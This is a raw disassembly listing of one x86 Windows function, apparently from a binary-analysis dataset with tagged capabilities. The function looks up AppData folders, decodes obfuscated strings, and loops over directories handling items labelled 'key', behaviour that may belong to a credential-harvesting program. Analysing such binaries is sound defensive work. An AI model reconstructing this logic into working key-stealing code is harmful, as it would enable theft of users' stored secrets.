Function at 0x409500
Capabilities:
Encode data using base64
Get common file path
Inspect section memory permissions
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49b1a6
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ecx
mov eax, 0x16e4
call fcn.00499d90
mov eax, dword [0x4c0008]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 0x2b0], esi
mov dword [ebp - 0x2c0], esi
lea eax, [ebp - 0x234]
mov dword [ebp - 4], esi
push eax
call fcn.0041c880
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 1
push eax
push esi
push esi
push 0x28
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x40de84
mov esi, 1
mov dword [ebp - 0x2b4], esi
cmp esi, 0x29
jge 0x40de84
sub esp, 8
call fcn.00407070
add esp, 8
mov byte [ebp - 4], 2
mov edi, eax
mov dword [ebp - 0x23c], 0
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x2c8], edi
lea ecx, [ebp - 0x261]
push esi
push eax
lea eax, [ebp - 0x678]
push eax
call fcn.00417f50
mov esi, eax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x660]
call fcn.0040e1d0
push str.AppData
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1128]
call fcn.0040e530
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x288]
call fcn.0040e5f0
add esp, 4
lea ecx, [ebp - 0x1128]
call fcn.0040e180
lea ecx, [ebp - 0x660]
call fcn.0040e180
lea ecx, [ebp - 0x678]
mov byte [ebp - 4], 9
call fcn.0040e180
sub esp, 0x18
lea eax, [ebp - 0x288]
mov ecx, esp
push eax
call fcn.0040e210
call fcn.0040f340
test eax, eax
jne 0x40967b
mov ecx, edi
call fcn.004070b0
lea ecx, [ebp - 0x288]
call fcn.0040e180
mov esi, dword [ebp - 0x2b4]
mov byte [ebp - 4], 1
inc esi
jmp 0x40958a
cmp dword [ebp - 0x23c], 1
jne 0x40a3bf
mov esi, dword [ebp - 0x2b4]
sub esp, 0x18
mov dword [ebp - 4], 9
mov edx, esi
mov ecx, esp
mov dword [ebp - 0x2bc], esp
call fcn.00407280
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x288]
mov dword [ebp - 0x2dc], esp
mov ecx, esp
push eax
call fcn.0040e210
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x234]
mov ecx, esp
push eax
call fcn.0040e210
mov byte [ebp - 4], 9
call fcn.00408ca0
mov edx, esi
lea ecx, [ebp - 0x6c0]
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x6a8]
call fcn.0040e4c0
add esp, 4
push str.key
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x690]
call fcn.0040e530
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x10
call fcn.0040e020
mov edx, eax
mov ecx, edi
call fcn.004069d0
lea ecx, [ebp - 0x690]
call fcn.0040e180
lea ecx, [ebp - 0x6a8]
call fcn.0040e180
lea ecx, [ebp - 0x6c0]
mov byte [ebp - 4], 9
call fcn.0040e180
mov edx, esi
lea ecx, [ebp - 0x708]
call fcn.00407280
mov esi, eax
push str.key
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x6f0]
call fcn.0040e590
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x6d8]
call fcn.0040e5f0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x13
mov ecx, eax
mov esi, esp
call fcn.0040e020
push eax
mov ecx, esi
call fcn.0040e1d0
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x219]
call fcn.0040fbc0
lea ecx, [ebp - 0x6d8]
mov esi, eax
call fcn.0040e180
lea ecx, [ebp - 0x6f0]
call fcn.0040e180
lea ecx, [ebp - 0x708]
mov byte [ebp - 4], 9
call fcn.0040e180
push dword [ebp - 0x2a4]
mov edx, esi
mov ecx, edi
call fcn.00406df0
add esp, 4
mov ecx, edi
call fcn.004069e0
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x738]
mov byte [ebp - 4], 0x14
call fcn.00407280
mov esi, eax
push str.key
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x720]
call fcn.0040e590
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
mov edx, eax
push esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x720]
call fcn.0040e180
lea ecx, [ebp - 0x738]
call fcn.0040e180
jmp 0x409873
lea eax, [ebp - 0x288]
mov dword [ebp - 4], 9
push eax
lea eax, [ebp - 0x294]
mov byte [ebp - 4], 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x2d0], 0
push eax
movq qword [ebp - 0x294], xmm0
mov dword [ebp - 0x28c], 0
call fcn.0040f520
mov eax, dword [ebp - 0x290]
mov edi, dword [ebp - 0x294]
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d4], edi
cmp edi, dword [ebp - 0x2dc]
je 0x40a39f
mov byte [ebp - 4], 0x1a
mov eax, dword [edi + 0x18]
cmp eax, 0x10
je 0x4098e9
cmp eax, 0x30
jne 0x40a390
sub esp, 0x18
mov ecx, esp
push edi
call fcn.0040e210
call fcn.00408050
test al, al
je 0x40a390
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x798]
sub esp, 0x18
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x2bc], esp
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x1c
mov ecx, esp
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0x780]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x768]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x1e
mov ecx, esi
call fcn.0040e5f0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0x750]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x20
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x21
call fcn.004101b0
lea ecx, [ebp - 0x750]
call fcn.0040e180
lea ecx, [ebp - 0x768]
call fcn.0040e180
lea ecx, [ebp - 0x780]
call fcn.0040e180
lea ecx, [ebp - 0x798]
mov byte [ebp - 4], 0x1b
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x7f8]
sub esp, 0x18
mov dword [ebp - 0x2bc], esp
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x22
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0x7e0]
push eax
call fcn.00417d90
mov byte [ebp - 4], 0x23
lea edx, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x7c8]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x24
mov ecx, esi
call fcn.0040e5f0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x25
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0x7b0]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x26
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x27
call fcn.004101b0
lea ecx, [ebp - 0x7b0]
call fcn.0040e180
lea ecx, [ebp - 0x7c8]
call fcn.0040e180
lea ecx, [ebp - 0x7e0]
call fcn.0040e180
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x1b
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x858]
sub esp, 0x18
mov dword [ebp - 0x2bc], esp
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0x840]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x828]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2a
mov ecx, esi
call fcn.0040e5f0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x2b
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bXxWQBkGBQ46Q15dWF0LGg
call fcn.0040e1d0
lea eax, [ebp - 0x810]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x2c
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x2d
call fcn.004101b0
lea ecx, [ebp - 0x810]
call fcn.0040e180
lea ecx, [ebp - 0x828]
call fcn.0040e180
lea ecx, [ebp - 0x840]
call fcn.0040e180
lea ecx, [ebp - 0x858]
call fcn.0040e180
jmp 0x409b9a
sub esp, 0x18
mov dword [ebp - 4], 0x1a
mov ecx, esp
mov byte [ebp - 4], 0x2f
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0x900]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x8e8]
mov byte [ebp - 4], 0x30
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x8d0]
mov byte [ebp - 4], 0x31
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x8b8]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x8a0]
call fcn.0040e530
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x888]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x870]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x36
call fcn.0040e020
mov edi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, edi
call fcn.004069d0
lea ecx, [ebp - 0x870]
call fcn.0040e180
lea ecx, [ebp - 0x888]
call fcn.0040e180
lea ecx, [ebp - 0x8a0]
call fcn.0040e180
lea ecx, [ebp - 0x8b8]
call fcn.0040e180
lea ecx, [ebp - 0x8d0]
call fcn.0040e180
lea ecx, [ebp - 0x8e8]
call fcn.0040e180
lea ecx, [ebp - 0x900]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x960]
sub esp, 0x18
mov esi, esp
call fcn.00407280
push eax
mov byte [ebp - 4], 0x37
sub esp, 0x18
mov ecx, esp
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0x948]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x930]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x918]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x3a
call fcn.0040e020
push eax
mov ecx, esi
call fcn.0040e1d0
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x219]
call fcn.0040fbc0
lea ecx, [ebp - 0x918]
mov esi, eax
call fcn.0040e180
lea ecx, [ebp - 0x930]
call fcn.0040e180
lea ecx, [ebp - 0x948]
call fcn.0040e180
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
push dword [ebp - 0x238]
mov edx, esi
mov ecx, edi
call fcn.00406df0
add esp, 4
mov ecx, edi
call fcn.004069e0
sub esp, 0x18
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0xa08]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x9f0]
mov byte [ebp - 4], 0x3b
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x9d8]
mov byte [ebp - 4], 0x3c
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x9c0]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x9a8]
call fcn.0040e530
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x990]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x978]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x41
call fcn.0040e020
mov edi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, edi
call fcn.004069d0
lea ecx, [ebp - 0x978]
call fcn.0040e180
lea ecx, [ebp - 0x990]
call fcn.0040e180
lea ecx, [ebp - 0x9a8]
call fcn.0040e180
lea ecx, [ebp - 0x9c0]
call fcn.0040e180
lea ecx, [ebp - 0x9d8]
call fcn.0040e180
lea ecx, [ebp - 0x9f0]
call fcn.0040e180
lea ecx, [ebp - 0xa08]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xa68]
sub esp, 0x18
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x42
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0xa50]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0xa38]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xa20]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x45
call fcn.0040e020
push eax
mov ecx, esi
call fcn.0040e1d0
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x219]
call fcn.0040fbc0
lea ecx, [ebp - 0xa20]
mov esi, eax
call fcn.0040e180
lea ecx, [ebp - 0xa38]
call fcn.0040e180
lea ecx, [ebp - 0xa50]
call fcn.0040e180
lea ecx, [ebp - 0xa68]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
push dword [ebp - 0x238]
mov edx, esi
mov ecx, edi
call fcn.00406df0
add esp, 4
mov ecx, edi
call fcn.004069e0
sub esp, 0x18
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0xb10]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0xaf8]
mov byte [ebp - 4], 0x46
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xae0]
mov byte [ebp - 4], 0x47
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xac8]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0xab0]
call fcn.0040e530
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xa98]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xa80]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x4c
call fcn.0040e020
mov edi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, edi
call fcn.004069d0
lea ecx, [ebp - 0xa80]
call fcn.0040e180
lea ecx, [ebp - 0xa98]
call fcn.0040e180
lea ecx, [ebp - 0xab0]
call fcn.0040e180
lea ecx, [ebp - 0xac8]
call fcn.0040e180
lea ecx, [ebp - 0xae0]
call fcn.0040e180
lea ecx, [ebp - 0xaf8]
call fcn.0040e180
lea ecx, [ebp - 0xb10]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xb70]
sub esp, 0x18
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x4d
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0xb58]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xb40]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xb28]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x50
call fcn.0040e020
push eax
mov ecx, esi
call fcn.0040e1d0
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x219]
call fcn.0040fbc0
lea ecx, [ebp - 0xb28]
mov esi, eax
call fcn.0040e180
lea ecx, [ebp - 0xb40]
call fcn.0040e180
lea ecx, [ebp - 0xb58]
call fcn.0040e180
lea ecx, [ebp - 0xb70]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
push dword [ebp - 0x238]
mov edx, esi
mov ecx, edi
call fcn.00406df0
add esp, 4
mov ecx, edi
call fcn.004069e0
mov edi, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xbb8]
sub esp, 0x18
mov edx, edi
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x51
mov ecx, esp
push str.bX5cUwcHVyEHdFA
call fcn.0040e1d0
lea eax, [ebp - 0xba0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xb88]
call fcn.0040e6c0
add esp, 4
mov byte [ebp - 4], 0x53
mov edx, eax
mov ecx, esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0xb88]
call fcn.0040e180
lea ecx, [ebp - 0xba0]
call fcn.0040e180
lea ecx, [ebp - 0xbb8]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
sub esp, 0x18
lea ecx, [ebp - 0xc00]
mov edx, edi
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x54
mov ecx, esp
push str.bWVWVk4tFhEH
call fcn.0040e1d0
lea eax, [ebp - 0xbe8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xbd0]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x56
mov ecx, esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0xbd0]
call fcn.0040e180
lea ecx, [ebp - 0xbe8]
call fcn.0040e180
lea ecx, [ebp - 0xc00]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
sub esp, 0x18
lea ecx, [ebp - 0xc48]
mov edx, edi
mov esi, esp
call fcn.00407280
push eax
sub esp, 0x18
mov byte [ebp - 4], 0x57
mov ecx, esp
push str.bXFcWwUAEhY
call fcn.0040e1d0
lea eax, [ebp - 0xc30]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0xc18]
call fcn.0040e6c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x59
mov ecx, esi
call fcn.0040e5f0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0xc18]
call fcn.0040e180
lea ecx, [ebp - 0xc30]
call fcn.0040e180
lea ecx, [ebp - 0xc48]
mov byte [ebp - 4], 0x2f
call fcn.0040e180
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bX5cVw8FVyAedFRcQF0BB1c2A3RFW11THQ
call fcn.0040e1d0
lea eax, [ebp - 0xc60]
push eax
call fcn.00417d90
mov edi, dword [ebp - 0x2d4]
mov ecx, esi
push eax
mov edx, edi
mov byte [ebp - 4], 0x5a
call fcn.0040e6c0
mov esi, dword [ebp - 0x2d0]
add esp, 4
push esi
push dword [ebp - 0x2b4]
push dword [ebp - 0x2c8]
call fcn.004082c0
lea ecx, [ebp - 0xc60]
call fcn.0040e180
inc esi
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x2d0], esi
add edi, 0x4c
jmp 0x4098c2
mov dword [ebp - 4], 0x19
add edi, 0x4c
jmp 0x4098c2
lea ecx, [ebp - 0x294]
call fcn.0040dee0
jmp 0x40a3b8
mov dword [ebp - 4], 9
cmp dword [ebp - 0x23c], 0
jne 0x40b97c
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 0x5e
push eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x2d0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x298], 0
push eax
movq qword [ebp - 0x2a0], xmm0
call fcn.0040f520
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x2bc], eax
nop word [eax + eax]
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x2d8], eax
cmp eax, dword [ebp - 0x2bc]
je 0x40b96a
mov dword [ebp - 0x2d4], eax
mov byte [ebp - 4], 0x60
mov eax, dword [eax + 0x18]
cmp eax, 0x10
je 0x40a453
cmp eax, 0x30
jne 0x40b957
push dword [ebp - 0x2e0]
lea eax, [ebp - 0x260]
mov dword [ebp - 0x2a8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x258], 0
push eax
movq qword [ebp - 0x260], xmm0
call fcn.0040f520
mov esi, dword [ebp - 0x260]
mov edi, esi
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x2dc], esi
mov dword [ebp - 0x2cc], eax
nop
cmp edi, eax
je 0x40b846
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov ecx, esp
xorps xmm0, xmm0
push 0xc
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.UldBQFdHEwc
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0xca8]
push eax
call fcn.00417d90
mov byte [ebp - 4], 0x63
mov edx, eax
or dword [ebp - 0x2b0], 1
cmp dword [eax + 0x14], 0x10
jb 0x40a4f2
mov edx, dword [eax]
cmp dword [edi + 0x48], 0x10
lea ecx, [edi + 0x34]
jb 0x40a4fe
mov ecx, dword [edi + 0x34]
push dword [eax + 0x10]
push edx
mov edx, dword [edi + 0x44]
call fcn.0040f050
add esp, 8
test al, al
jne 0x40a57f
sub esp, 0x18
mov ecx, esp
push str.WldKB0ANFQ
call fcn.0040e1d0
lea eax, [ebp - 0xc90]
push eax
call fcn.00417d90
mov dword [ebp - 4], 0x64
lea ecx, [edi + 0x34]
or dword [ebp - 0x2b0], 2
mov edx, eax
call fcn.0040e490
test al, al
jne 0x40a57f
sub esp, 0x18
mov ecx, esp
push str.WldKAEANFQ
call fcn.0040e1d0
lea eax, [ebp - 0xc78]
push eax
call fcn.00417d90
or dword [ebp - 0x2b0], 4
lea ecx, [edi + 0x34]
mov edx, eax
call fcn.0040e490
mov byte [ebp - 0x2c1], 0
test al, al
je 0x40a586
mov byte [ebp - 0x2c1], 1
mov eax, dword [ebp - 0x2b0]
test al, 4
je 0x40a5aa
and eax, 0xfffffffb
lea ecx, [ebp - 0xc78]
mov dword [ebp - 0x2b0], eax
call fcn.0040e180
mov eax, dword [ebp - 0x2b0]
test al, 2
je 0x40a5c8
and eax, 0xfffffffd
lea ecx, [ebp - 0xc90]
mov dword [ebp - 0x2b0], eax
call fcn.0040e180
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 4], 0x62
test al, 1
je 0x40a5e7
and eax, 0xfffffffe
lea ecx, [ebp - 0xca8]
mov dword [ebp - 0x2b0], eax
call fcn.0040e180
cmp byte [ebp - 0x2c1], 0
mov eax, dword [ebp - 0x2a8]
je 0x40a5fd
inc eax
mov dword [ebp - 0x2a8], eax
cmp eax, 1
jle 0x40b8b0
sub esp, 0x18
mov byte [ebp - 4], 0x65
mov dword [ebp - 0x2b8], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVFWRhpQWQEE
call fcn.0040e1d0
lea eax, [ebp - 0xcd8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x66
mov ecx, esi
call fcn.0040e6c0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x67
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVFWRhpQWQEE
call fcn.0040e1d0
lea eax, [ebp - 0xcc0]
push eax
call fcn.00417d90
mov edx, dword [ebp - 0x2d8]
mov ecx, esi
push eax
mov byte [ebp - 4], 0x68
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x69
call fcn.004101b0
lea ecx, [ebp - 0xcc0]
call fcn.0040e180
lea ecx, [ebp - 0xcd8]
mov byte [ebp - 4], 0x65
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVFWRhpQWQEE
call fcn.0040e1d0
lea eax, [ebp - 0xd80]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0xd68]
mov byte [ebp - 4], 0x6a
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xd50]
mov byte [ebp - 4], 0x6b
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0xd38]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0xd20]
call fcn.0040e530
add esp, 4
mov byte [ebp - 4], 0x6e
push esi
mov edx, eax
lea ecx, [ebp - 0xd08]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0xcf0]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x70
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0xcf0]
call fcn.0040e180
lea ecx, [ebp - 0xd08]
call fcn.0040e180
lea ecx, [ebp - 0xd20]
call fcn.0040e180
lea ecx, [ebp - 0xd38]
call fcn.0040e180
lea ecx, [ebp - 0xd50]
call fcn.0040e180
lea ecx, [ebp - 0xd68]
call fcn.0040e180
lea ecx, [ebp - 0xd80]
mov byte [ebp - 4], 0x65
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVFWRhpQWQEE
call fcn.0040e1d0
lea eax, [ebp - 0xdb0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xd98]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x72
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0xd98]
call fcn.0040e180
lea ecx, [ebp - 0xdb0]
mov byte [ebp - 4], 0x65
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVFWRhpQWQEE
call fcn.0040e1d0
lea eax, [ebp - 0xdc8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x73
mov ecx, esi
call fcn.0040e6c0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0xdc8]
call fcn.0040e180
mov edi, dword [ebp - 0x2d8]
jmp 0x40a884
sub esp, 0x18
mov dword [ebp - 4], 0x62
mov byte [ebp - 4], 0x75
mov esi, esp
mov dword [ebp - 0x2ac], esp
sub esp, 0x18
mov ecx, esp
push str.bVFcWwUAEhZIc0BeWkAL
call fcn.0040e1d0
lea eax, [ebp - 0xdf8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x76
mov ecx, esi
call fcn.0040e6c0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x77
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVFcWwUAEhZIc0BeWkAL
call fcn.0040e1d0
lea eax, [ebp - 0xde0]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x78
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x79
call fcn.004101b0
lea ecx, [ebp - 0xde0]
call fcn.0040e180
lea ecx, [ebp - 0xdf8]
mov byte [ebp - 4], 0x75
